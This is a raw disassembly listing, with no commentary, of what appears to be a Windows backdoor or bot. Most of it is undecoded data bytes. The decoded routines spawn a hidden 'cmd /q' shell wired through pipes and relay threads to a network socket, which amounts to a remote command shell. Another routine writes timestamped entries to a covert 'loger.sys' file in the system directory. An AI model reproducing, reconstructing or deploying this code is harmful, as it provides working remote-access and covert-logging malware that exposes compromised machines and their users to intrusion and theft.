pop ecx
loc_41383A: ; CODE XREF: seg000:00413818j
xor eax, eax
jmp short loc_41382C
; ---------------------------------------------------------------------------
dw 0C033h
dd 4244439h, 0C3C0940Fh, 246C8D55h, 0D4EC818Ch, 8B000003h
dd 56537C45h, 59786A57h, 0BD8DF08Bh, 0FFFFFCA0h, 0B58BA5F3h
dd 0FFFFFE6Ch, 697C7589h, 234F6h, 43DB3300h, 1DC9889h
dd 868B0000h, 4444F4h, 0FE848589h, 0FF33FFFFh, 5068458Dh
dd 858D5757h, 0FFFFFE80h, 45C75750h, 1E68h, 6C7D8900h
dd 0FE809D89h, 15FFFFFFh, 4441B0h, 1A75C085h, 44F4B6FFh
dd 15FF0044h, 444218h, 0E87C75FFh, 0FFFF7881h, 17BE959h
dd 53570000h, 5038458Dh, 44F4B6FFh, 15FF0044h, 444064h
dd 0B6FF106Ah, 4444F4h, 0E858458Dh, 0FFFFFF0Dh, 0B6FF106Ah
dd 4444F4h, 0E828458Dh, 0FFFFFEFDh, 0B6FF406Ah, 4444F4h
dd 0E884458Dh, 0FFFFFEEDh, 8D18C483h, 8D507045h, 0FF504845h
dd 4444F4B6h, 7045C700h, 10h, 414815FFh, 0C0850044h, 15FF2174h
dd 4441C4h, 4B686850h, 0A1E80043h, 0FF000044h, 0FEE87C75h
dd 83FFFF77h, 0F6E90CC4h, 6A000000h, 8D046A02h, 0FF504C45h
dd 4441FC15h, 75C73B00h, 4C75FF15h, 418815FFh, 8D500044h
dd 0E850C445h, 0AD2Eh, 30FF0BEBh, 50C4458Dh, 0B53BE8h
dd 57595900h, 0B6336853h, 0B6FF0042h, 4444F4h, 41A015FFh
dd 3D390044h, 4D5268h, 458D4A75h, 858D5058h, 0FFFFFD24h
dd 0AFDEE850h, 0C0850000h, 34745959h, 50C4458Dh, 5058458Dh
dd 434A9C68h, 441AE800h, 0C4830000h, 136A570Ch, 434B5468h
dd 0F4B6FF00h, 0FF004444h, 4441A015h, 0F4B6FF00h, 0E9004444h
dd 0FFFFFECEh, 50C4458Dh, 5058458Dh, 434B2C68h, 43E6E800h
dd 75FF0000h, 650E87Ch, 0C4830000h, 75C08510h, 1C15FF1Fh
dd 500042B0h, 434B0068h, 43C6E800h, 75FF0000h, 7723E87Ch
dd 0C483FFFFh, 1EEB530Ch, 50C4458Dh, 5058458Dh, 434AD468h
dd 43A6E800h, 75FF0000h, 7703E87Ch, 0C483FFFFh, 15FF5710h
dd 42B068h
db 0CCh
byte_413A51 db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+219Eo
dd 0EC818C24h, 5A8h, 537C458Bh, 786A5756h, 8DF08B59h, 0FFFE5CBDh
dd 33A5F3FFh, 0B08946F6h, 1DCh, 0FACC858Dh, 6850FFFFh
dd 202h, 411015FFh, 0FF330044h, 1C74C73Bh, 4CCC6850h, 49E80043h
dd 0FF000043h, 0A6E82475h, 83FFFF76h, 0E9560CC4h, 221h
dd 383E6856h, 15FF0041h, 42B0C8h, 2475C085h, 0B01C15FFh
dd 68500042h, 434C88h, 4317E8h, 0FF595900h, 44422415h
dd 2475FF00h, 0FF766CE8h, 0C6EB59FFh, 535B106Ah, 5750458Dh
dd 0AB02E850h, 0C4830000h, 2075FF0Ch, 5045C766h, 15FF0002h
dd 444260h, 6A56066Ah, 45896602h, 547D8952h, 410015FFh
dd 0F8830044h, 7C4589FFh, 13F840Fh, 4D8B0000h, 34C96924h
dd 89000002h, 4444F481h, 4D8D5300h, 0FF505150h, 4441E415h
dd 0FC08500h, 11C85h, 0FFFF6800h, 75FF7FFFh, 3015FF7Ch
dd 85004442h, 6850FC0h, 68000001h, 434C4Ch, 0C6045C7h
dd 89000000h, 7D89647Dh, 4202E868h, 89590000h, 0C5E96C75h
dd 0FF000000h, 458D6C75h, 86A506Ch, 0FFFF68h, 15FF5600h
dd 444120h, 0FFFF883h, 0A784h, 2475FF00h, 4245B70Fh, 4475FF50h
dd 0FF387D89h, 44418815h, 858D5000h, 0FFFFFC5Ch, 434C0868h
dd 0EBE85000h, 8D0000AAh, 0FFFC5C85h, 0A9E850FFh, 56000041h
dd 0FC5C858Dh, 96AFFFFh, 72AFE850h, 4D8BFFFFh, 28458924h
dd 234C069h, 0C4830000h, 0EC888924h, 8D004444h, 57503C45h
dd 0FE5C858Dh, 6850FFFFh, 413848h, 60458D57h, 3C15FF50h
dd 8B0042B0h, 0C969284Dh, 234h, 8189C73Bh, 4444FCh, 15FF1D75h
dd 42B01Ch, 4BCC6850h, 0B9E80043h, 59000041h, 6A31EB59h
dd 1415FF32h, 390042B0h, 0F374387Dh, 5070458Dh, 5040458Dh
dd 897C75FFh, 15FF705Dh, 4440BCh, 0FE83F08Bh, 1C850FFFh
dd 0EBFFFFFFh, 7C758B03h, 41C415FFh, 8D500044h, 0FFFC5C85h
dd 4B9468FFh, 0E8500043h, 0AA2Eh, 390CC483h, 2075347Dh
dd 3075FF57h, 0FC5C858Dh, 8D50FFFFh, 0FFFE6085h, 0B5FF50FFh
dd 0FFFFFE5Ch, 0FED59EE8h, 14C483FFh, 0FC5C858Dh, 0E850FFFFh
dd 40C4h, 15FF5659h, 444218h, 0FF7C75FFh, 44421815h, 2415FF00h
dd 0FF004442h, 7EE82475h, 59FFFF74h, 6815FF57h, 0CC0042B0h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CD4 proc near ; CODE XREF: sub_413F5A+98p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41E5F0
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41E5F0
mov eax, [ebp+arg_0]
add esp, 18h
push esi
push 1
mov [ebp+var_20], eax
push 2
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, ds:dword_42B09C
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_42B098 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jz short loc_413D8C
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov ds:dword_4444F0[eax], ecx
call ds:dword_42B004 ; CloseHandle
jmp short loc_413DA2
; ---------------------------------------------------------------------------
loc_413D8C: ; CODE XREF: sub_413CD4+96j
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_434CF8
call sub_417DE4
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_413DA2: ; CODE XREF: sub_413CD4+B6j
pop edi
mov eax, esi
pop esi
leave
retn
sub_413CD4 endp
; ---------------------------------------------------------------------------
dword_413DA8 dd 246C8D55h, 0B0EC818Ch, 53000001h, 0B0801D8Bh, 57560042h
; DATA XREF: seg000:00414095o
dd 0EB7C7D8Bh, 32C03349h, 39F633D2h, 27767C45h, 0AC354C8Ah
dd 750AF980h, 0DFA800Eh, 84C60974h, 0FFFEC405h, 88400DFFh
dd 0FEC4058Ch, 4640FFFFh, 8A7C753Bh, 6AD972D1h, 858D5000h
dd 0FFFFFEC4h, 0C77FF50h, 41A015FFh, 0C0850044h, 6A177Eh
dd 507C458Dh, 0C868h, 0AC458D00h, 0FF37FF50h, 75C085D3h
dd 1C358BA0h, 0FF0042B0h, 6DF883D6h, 0D6FF0F74h, 4D386850h
dd 0A9E80043h, 5900003Fh, 5B5E5F59h, 0C974C583h
db 0C3h
aUnlMb_1 db 'Ul$ŒìÜ',0 ; DATA XREF: seg000:004140CBo
align 10h
dd 0DB335653h, 7C7D8B57h, 5D89F633h, 0D5E964h, 5D390000h
dd 0FF087664h, 0CBE9644Dh, 8A000000h, 0BE0F7F45h, 0FFF981C8h
dd 0F000000h, 0A184h, 89083C00h, 5174685Dh, 4D747F3Ch
dd 0A75033Ch, 15FF5353h, 42B0CCh, 153C66EBh, 0F6331E75h
dd 206C45C6h, 586D45C6h, 586E45C6h, 586F45C6h, 0D7045C6h
dd 0A7145C6h, 30EB066Ah, 4488C933h, 41469835h, 45880D3Ch
dd 0C622756Ch, 0A983544h, 0A6D45C6h, 0EB026A46h, 76F33B13h
dd 45C64E26h, 45C6086Ch, 45C6206Dh, 36A086Eh, 8D515359h
dd 0FF506C45h, 15FF0C77h, 4441A0h, 527EC085h, 3C7F458Ah
dd 5333750Dh, 5060458Dh, 98458D56h, 477FF50h, 0B08415FFh
dd 0C0850042h, 0F6333474h, 5D3918EBh, 0C7097568h, 16845h
dd 0AEB0000h, 0A6445C7h, 89000000h, 6A53685Dh, 7F458D01h
dd 0C77FF50h, 406415FFh, 0C0850044h, 0FF108F0Fh, 5E5FFFFFh
dd 74C5835Bh
db 0C9h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F5A proc near ; CODE XREF: seg000:00414063p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41E5D3
mov esi, eax
cmp esi, edi
pop ecx
jnz short loc_413F7F
xor eax, eax
jmp loc_414052
; ---------------------------------------------------------------------------
loc_413F7F: ; CODE XREF: sub_413F5A+1Cj
push ebx
push edi
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
lea ebx, [esi+4]
mov [ebx], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ds:dword_42B0A0 ; CreatePipe
test eax, eax
mov edi, ds:dword_42B004
jnz short loc_413FC0
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_434DE0
jmp short loc_413FE1
; ---------------------------------------------------------------------------
loc_413FC0: ; CODE XREF: sub_413F5A+56j
push 0
lea eax, [ebp+var_14]
push eax
push ebx
lea eax, [ebp+var_4]
push eax
call ds:dword_42B0A0 ; CreatePipe
test eax, eax
jnz short loc_413FE9
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_434D9C
loc_413FE1: ; CODE XREF: sub_413F5A+64j
call sub_417DE4
pop ecx
jmp short loc_414016
; ---------------------------------------------------------------------------
loc_413FE9: ; CODE XREF: sub_413F5A+79j
push [ebp+arg_0]
mov ebx, [ebp+var_8]
push [ebp+var_4]
call sub_413CD4
pop ecx
pop ecx
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_41404B
push offset unk_434D74
call sub_417D70
loc_414016: ; CODE XREF: sub_413F5A+8Dj
cmp [ebp+var_4], 0
pop ecx
jz short loc_414022
push [ebp+var_4]
call edi ; CloseHandle
loc_414022: ; CODE XREF: sub_413F5A+C1j
cmp [ebp+var_8], 0
jz short loc_41402D
push [ebp+var_8]
call edi ; CloseHandle
loc_41402D: ; CODE XREF: sub_413F5A+CCj
mov eax, [esi]
test eax, eax
jz short loc_414036
push eax
call edi ; CloseHandle
loc_414036: ; CODE XREF: sub_413F5A+D7j
mov eax, [esi+4]
test eax, eax
jz short loc_414040
push eax
call edi ; CloseHandle
loc_414040: ; CODE XREF: sub_413F5A+E1j
push esi
call sub_41E2A1
pop ecx
xor eax, eax
jmp short loc_414051
; ---------------------------------------------------------------------------
loc_41404B: ; CODE XREF: sub_413F5A+B0j
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_414051: ; CODE XREF: sub_413F5A+EFj
pop ebx
loc_414052: ; CODE XREF: sub_413F5A+20j
pop edi
pop esi
leave
retn
sub_413F5A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+8]
push edi
call sub_413F5A
imul edi, 234h
mov esi, eax
mov eax, ds:dword_4444F4[edi]
mov edi, ds:dword_42B03C
xor ebx, ebx
pop ecx
mov dword ptr [ebp-0Ch], 0Ch
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [esi+0Ch], eax
lea eax, [ebp+8]
push eax
push ebx
push esi
push offset dword_413DA8
push ebx
lea eax, [ebp-0Ch]
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_4140C5
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_434E58
call sub_417DE4
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_4141A5
; ---------------------------------------------------------------------------
loc_4140C5: ; CODE XREF: seg000:004140A6j
lea eax, [ebp+8]
push eax
push ebx
push esi
push offset aUnlMb_1 ; "Ul$ŒìÜ"
push ebx
lea eax, [ebp-0Ch]
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_414106
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_434E58
call sub_417DE4
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_42B028 ; TerminateThread
xor eax, eax
jmp loc_4141A6
; ---------------------------------------------------------------------------
loc_414106: ; CODE XREF: seg000:004140DCj
mov eax, [esi+10h]
mov [ebp-18h], eax
mov eax, [esi+14h]
mov [ebp-14h], eax
mov eax, [esi+8]
push 0FFFFFFFFh
mov [ebp-10h], eax
push ebx
lea eax, [ebp-18h]
push eax
push 3
call ds:dword_42B0D0 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_414160
dec eax
jz short loc_41415A
dec eax
jz short loc_414146
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_434E20
call sub_417DE4
pop ecx
pop ecx
jmp short loc_414175
; ---------------------------------------------------------------------------
loc_414146: ; CODE XREF: seg000:0041412Fj
mov edi, ds:dword_42B028
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_414175
; ---------------------------------------------------------------------------
loc_41415A: ; CODE XREF: seg000:0041412Cj
push ebx
push dword ptr [esi+10h]
jmp short loc_414164
; ---------------------------------------------------------------------------
loc_414160: ; CODE XREF: seg000:00414129j
push ebx
push dword ptr [esi+14h]
loc_414164: ; CODE XREF: seg000:0041415Ej
call ds:dword_42B028 ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_42B094 ; TerminateProcess
loc_414175: ; CODE XREF: seg000:00414144j
; seg000:00414158j
push dword ptr [esi+10h]
mov edi, ds:dword_42B004
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call ds:dword_444218 ; closesocket
push esi
call sub_41E2A1
xor eax, eax
inc eax
loc_4141A5: ; CODE XREF: seg000:004140C0j
pop ecx
loc_4141A6: ; CODE XREF: seg000:00414101j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h
dd 90246C8Dh, 504EC81h, 8B530000h, 57567C5Dh, 0BEFF33h
dd 33000004h, 9D8941C9h, 0FFFFFF70h, 0FF6C8D89h, 0C033FFFFh
dd 3978558Bh, 0FF708594h, 574FFFFh, 72C13B40h, 75C13BEFh
dd 74958910h, 0C7FFFFFFh, 0FFFF6C85h, 2FFh, 858D5600h
dd 0FFFFFB6Ch, 0E9E85057h, 830000A3h, 57570CC4h, 6C858D57h
dd 50FFFFFFh, 0B015FF57h, 8D004441h, 0FFFF6C85h, 0FF5350FFh
dd 44415C15h, 74C08500h, 8D56572Ch, 0FFFB6C85h, 0FF5350FFh
dd 44406415h, 0FFF88300h, 50575F74h, 0FB6C858Dh, 0FF50FFFFh
dd 15FF7875h, 4441A0h, 74FFF883h, 6C858D48h, 50FFFFFFh
dd 0FF7875FFh, 44415C15h, 0FC08500h, 0FFFF5284h, 8D5657FFh
dd 0FFFB6C85h, 75FF50FFh, 6415FF78h, 83004440h, 1974FFF8h
dd 858D5057h, 0FFFFFB6Ch, 15FF5350h, 4441A0h, 0FFFF883h
dd 0FFFF2285h, 5B5E5FFFh, 0C970C583h, 6C8D55C3h, 0EC818C24h
dd 5D4h, 537C458Bh, 2C6A5756h, 8DF08B59h, 0A5F3AC7Dh, 8948758Bh
dd 0F6697C75h, 234h, 8947FF33h, 0ACB8h, 0F4868B00h, 89004444h
dd 0FFFAA485h, 8DDB33FFh, 53506C45h, 0A0858D53h, 50FFFFFAh
dd 6C45C753h, 5, 89705D89h, 0FFFAA0BDh, 0B015FFFFh, 85004441h
dd 0FF0B75C0h, 4444F4B6h, 9DE900h, 68530000h, 408h, 0FBA4858Dh
dd 0FF50FFFFh, 4444F4B6h, 6415FF00h, 85004440h, 807A7EC0h
dd 0FFFBA4BDh, 717504FFh, 0FBA5BD80h, 7501FFFFh, 305D3868h
dd 458D7F74h, 858D5030h, 0FFFFFBACh, 0A632E850h, 0C0850000h
dd 69745959h, 5030458Dh, 0FBAC858Dh, 6850FFFFh, 434F24h
dd 3A6BE8h, 4006800h, 858D0000h, 0FFFFFBACh, 9D885053h
dd 0FFFFFBA4h, 0FBA585C6h, 0E85DFFFFh, 0A258h, 5318C483h
dd 858D086Ah, 0FFFFFBA4h, 0F4B6FF50h, 0FF004444h, 4441A015h
dd 0F4B6FF00h, 0FF004444h, 44421815h, 7C75FF00h, 0FF6D84E8h
dd 0FF5359FFh, 42B06815h, 8D106A00h, 50535C45h, 0A217E8h
dd 858B6600h, 0FFFFFBA6h, 6A0CC483h, 45896606h, 0A8858B5Eh
dd 57FFFFFBh, 0C766026Ah, 25C45h, 0FF604589h, 44410015h
dd 83F88B00h, 0E75FFFFh, 41C415FFh, 68500044h, 434EE4h
dd 106A1EEBh, 505C458Dh, 0AC15FF57h, 83004440h, 3875FFF8h
dd 41C415FFh, 68500044h, 434EA0h, 39ABE8h, 4006800h, 858D0000h
dd 0FFFFFBACh, 9D885053h, 0FFFFFBA4h, 0FBA585C6h, 0E85BFFFFh
dd 0A198h, 0E914C483h, 0FFFFFF3Bh, 40068h, 0AC858D00h
dd 53FFFFFBh, 0A49D8850h, 0C6FFFFFBh, 0FFFBA585h, 71E85AFFh
dd 830000A1h, 6A530CC4h, 0A4858D08h, 50FFFFFBh, 44F4B6FFh
dd 15FF0044h, 4441A0h, 44F4B6FFh, 0E8570044h, 0FFFFFD07h
dd 0FF575959h, 44421815h, 0FEFFE900h
db 2 dup(0FFh)
word_4144B2 dw 8D55h ; DATA XREF: sub_40274D+29F6o
dd 818C246Ch, 2D4ECh, 7C458B00h, 6A575653h, 2C6A5B10h
dd 8DF08B59h, 0A5F3A07Dh, 5347FF33h, 0A8B889h, 0F6330000h
dd 5660458Dh, 705D8950h, 0A107E8h, 0CC48300h, 663475FFh
dd 26045C7h, 6015FF00h, 6A004442h, 26A5706h, 62458966h
dd 0FF647589h, 44410015h, 8BF88B00h, 0C0693845h, 234h
dd 44F4B889h, 8D530044h, 57506045h, 41E415FFh, 0C0850044h
dd 114850Fh, 0A6A0000h, 3015FF57h, 85004442h, 3850FC0h
dd 0FF000001h, 75FF3475h, 0DE7BE8A0h, 5059FFFEh, 0FDA0858Dh
dd 8068FFFFh, 500042EBh, 0A145E8h, 10C48300h, 75447539h
dd 75FF561Ah, 0A0858D40h, 50FFFFFDh, 50A4458Dh, 0E8A075FFh
dd 0FFFECCBBh, 8D14C483h, 0FFFDA085h, 0E1E850FFh, 59000037h
dd 5070458Dh, 5050458Dh, 0BC15FF57h, 0FF004440h, 0D88B3875h
dd 5245B70Fh, 5475FF50h, 0FF4C7589h, 44418815h, 858D5000h
dd 0FFFFFDA0h, 434FD868h, 0DFE85000h, 530000A0h, 0FDA0858Dh
dd 196AFFFFh, 68AFE850h, 4D8BFFFFh, 3C458938h, 234C069h
dd 0C4830000h, 0EC888920h, 8D004444h, 56507C45h, 50A0458Dh
dd 4142A968h, 0FF565600h, 42B03C15h, 3C4D8B00h, 234C969h
dd 0C63B0000h, 44FC8189h, 28750044h, 0B01C15FFh, 8D500042h
dd 0FFFDA085h, 4F9868FFh, 0E8500043h, 0A07Ah, 0E90CC483h
dd 0FFFFFF4Fh, 15FF056Ah, 42B014h, 744C7539h, 0FF3DE9F3h
dd 0FF57FFFFh, 44421815h, 3475FF00h, 0FDA0858Dh, 6468FFFFh
dd 5000434Fh, 0A045E8h, 0CC48300h, 75447539h, 75FF561Ah
dd 0A0858D40h, 50FFFFFDh, 50A4458Dh, 0E8A075FFh, 0FFFECBBBh
dd 8D14C483h, 0FFFDA085h, 0E1E850FFh, 0FF000036h, 0B2E83875h
dd 59FFFF6Ah, 15FF5659h, 42B068h
db 0CCh
aUnlMb db 'Ul$Γ|',8,0 ; DATA XREF: sub_40274D+1F07o
; seg000:0040B793o
align 4
dd 537C558Bh, 0DB335756h, 40C03353h, 26AF28Bh, 0A9B9h
dd 0BD8D00h, 0F3FFFFFDh, 1085FFA5h, 6AFFFFFFh, 64458902h
dd 89604589h, 82896C45h, 2A0h, 410015FFh, 0F08B0044h, 75FFFE83h
dd 1906868h, 15FF0000h, 42B014h, 41C415FFh, 8D500044h
dd 0FFF8FC85h, 509868FFh, 0E8500043h, 9F96h, 390CC483h
dd 20759C5Dh, 9875FF53h, 0F8FC858Dh, 8D50FFFFh, 0FFFF1885h
dd 0B5FF50FFh, 0FFFFFD00h, 0FECB06E8h, 14C483FFh, 0F8FC858Dh
dd 0E850FFFFh, 362Ch, 0FF0CB5FFh, 0FAE8FFFFh, 59FFFF69h
dd 3A4E9h, 8D046A00h, 6A506445h, 0FFFFBF04h, 56570000h
dd 412015FFh, 46A0044h, 5060458Dh, 5657FB6Ah, 412015FFh
dd 858B0044h, 0FFFFFF0Ch, 234C069h, 106A0000h, 44F4B089h
dd 458D0044h, 0E8505348h, 9E58h, 0FF0CC483h, 0FFFF14B5h
dd 45C766FFh, 0FF000248h, 44426015h, 45896600h, 8D106A4Ah
dd 56504845h, 0FF4C5D89h, 4441E415h, 0FFF88300h, 88681975h
dd 0FF000013h, 42B01415h, 108DFF00h, 0FFFFFFFFh, 2EE97C75h
dd 8D000003h, 0FFFD0485h, 0B63068FFh, 0E8500042h, 9D5Eh
dd 5959C33Bh, 75704589h, 190685Fh, 15FF0000h, 42B014h
dd 0FD04858Dh, 8D50FFFFh, 0FFF8FC85h, 507068FFh, 0E8500043h
dd 9E8Ah, 9875FF53h, 0F8FC858Dh, 8D50FFFFh, 0FFFF1885h
dd 0B5FF50FFh, 0FFFFFD00h, 0FECA02E8h, 0FC858DFFh, 50FFFFF8h
dd 352BE8h, 0CB5FF00h, 0E8FFFFFFh, 0FFFF68F9h, 0E928C483h
dd 2A2h, 397C7D8Bh, 2A09Fh, 69840F00h, 0BF000002h, 80h
dd 0A4458D57h, 45C75053h, 558h, 5C45C700h, 1388h, 0F7FCB589h
dd 85C7FFFFh, 0FFFFF7F8h, 1, 9D5BE8h, 0CC48300h, 5058458Dh
dd 858D5353h, 0FFFFF7F8h, 15FF5350h, 4441B0h, 8E0FC085h
dd 210h, 0CF8BC033h, 0FAFC9D88h, 0BD8DFFFFh, 0FFFFFAFDh
dd 0AB66ABF3h, 68458DAAh, 38458D50h, 80685350h, 8D000000h
dd 5650A445h, 106845C7h, 0FF000000h, 44408815h, 3C75FF00h
dd 0FF6C4589h, 44418815h, 458D5000h, 0A7E85024h, 3800009Dh
dd 5959A45Dh, 1A4850Fh, 7D800000h, 850F01A5h, 0B5h, 0FE08858Dh
dd 0E850FFFFh, 98A0h, 75FF5353h, 0BD8FE870h, 75FF0000h
dd 858D70h, 68FFFFFBh, 200h, 8850016Ah, 0FFFAFC9Dh, 0FD85C6FFh
dd 3FFFFFAh, 0FAFE9D88h, 85C6FFFFh, 0FFFFFAFFh, 997FE801h
dd 0C4830000h, 6875FF20h, 51384D8Dh, 536C4589h, 5004C083h
dd 0FAFC858Dh, 5650FFFFh, 40CC15FFh, 458D0044h, 858D5024h
dd 0FFFFF8FCh, 43504868h, 17E85000h, 8300009Dh, 5D390CC4h
dd 5320759Ch, 8D9875FFh, 0FFF8FC85h, 858D50FFh, 0FFFFFF18h
dd 0B5FF50h, 0E8FFFFFDh, 0FFFEC887h, 8D14C483h, 0FFF8FC85h
dd 0ADE850FFh, 59000033h, 0FBE9h, 0A57D8000h, 0DB850F04h
dd 8A000000h, 0F980A74Dh, 0A6458AFFh, 0FAFC9D88h, 85C6FFFFh
dd 0FFFFFAFDh, 0FE0C7503h, 88C932C0h, 0FFFAFF9Dh, 0FE08EBFFh
dd 0FF8D88C1h, 88FFFFFAh, 0FFFAFE85h, 0C0B60FFFh, 0F08E0C1h
dd 0C103C9B6h, 0BF09E0C1h, 200h, 50C72B53h, 0E87075FFh
dd 0BC95h, 8D7075FFh, 0FFFB0085h, 16A57FFh, 98A3E850h
dd 0C4830000h, 6875FF1Ch, 458DF88Bh, 8D535038h, 8D500447h
dd 0FFFAFC85h, 895650FFh, 15FF6C7Dh, 4440CCh, 6875FB3Bh
dd 5024458Dh, 0F8FC858Dh, 2868FFFFh, 50004350h, 9C35E8h
dd 0CC48300h, 759C5D39h, 75FF5320h, 0FC858D98h, 50FFFFF8h
dd 0FF18858Dh, 0FF50FFFFh, 0FFFD00B5h, 0C7A5E8FFh, 0C483FFFEh
dd 0FC858D14h, 50FFFFF8h, 32CBE8h, 805FF00h, 59004D40h
dd 75FF16EBh, 38458D68h, 96A5350h, 43501C68h, 15FF5600h
dd 4440CCh, 0F6C5D39h, 0FFFD8B8Fh, 7C7D8BFFh, 1815FF56h
dd 0FF004442h, 6CE87075h, 0FF000097h, 0FFFF108Dh, 0A09F39FFh
dd 59000002h, 0B5FF1375h, 0FFFFFF0Ch, 0FF6650E8h, 0FF5359FFh
dd 42B06815h, 3E86800h, 15FF0000h, 42B014h, 0FB8FE857h
dd 5E5FFFFFh, 74C5835Bh, 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 314h
push esi
lea eax, [ebp-10h]
push eax
call ds:dword_42B0D4 ; GetLocalTime
push 104h
lea eax, [ebp-114h]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
lea eax, [ebp-114h]
push offset asc_433144 ; "\\"
push eax
call sub_41EED0
lea eax, [ebp-114h]
push offset aLoger_sys ; "loger.sys"
push eax
call sub_41EED0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41E54E
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_414B81
inc eax
jmp short loc_414BF8
; ---------------------------------------------------------------------------
loc_414B81: ; CODE XREF: seg000:00414B7Cj
push dword ptr [ebp+8]
movzx eax, word ptr [ebp-4]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41ECA2
push esi
call sub_41E24B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_414BF6
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_4350D0
push 200h
push eax
call sub_41E6FE
push 0
push dword ptr [ebp+94h]
lea eax, [ebp-314h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_40123B
add esp, 24h
loc_414BF6: ; CODE XREF: seg000:00414BBDj
xor eax, eax
loc_414BF8: ; CODE XREF: seg000:00414B7Fj
pop esi
leave
retn
; ---------------------------------------------------------------------------
aUnlMb_0 db 'Ul$ŒìÜ',8,0 ; DATA XREF: sub_40274D+4202o
align 2
dw 458Bh
dd 98A5837Ch, 0FFFFF7h, 706583h, 6A575653h, 59F08B25h
dd 0F3987D8Dh, 9080C7A5h, 1000000h, 33000000h, 0FFB9C0h
dd 0BD8D0000h, 0FFFFF79Ch, 15FFABF3h, 4440C0h, 4D8D3C6Ah
dd 8950512Ch, 15FF6C45h, 4440B0h, 200BBh, 0FF086A00h, 42B01415h
dd 0C015FF00h, 3B004440h, 72746C45h, 4D8D3C6Ah, 8950512Ch
dd 15FF6C45h, 4440B0h, 502C458Dh, 0FD98858Dh, 8D50FFFFh
dd 0FFFB9885h, 512C68FFh, 0E8500043h, 9A12h, 84EC81h, 256A0000h
dd 98858D59h, 8BFFFFFBh, 98758DFCh, 0E8A5F350h, 0FFFFFE6Ch
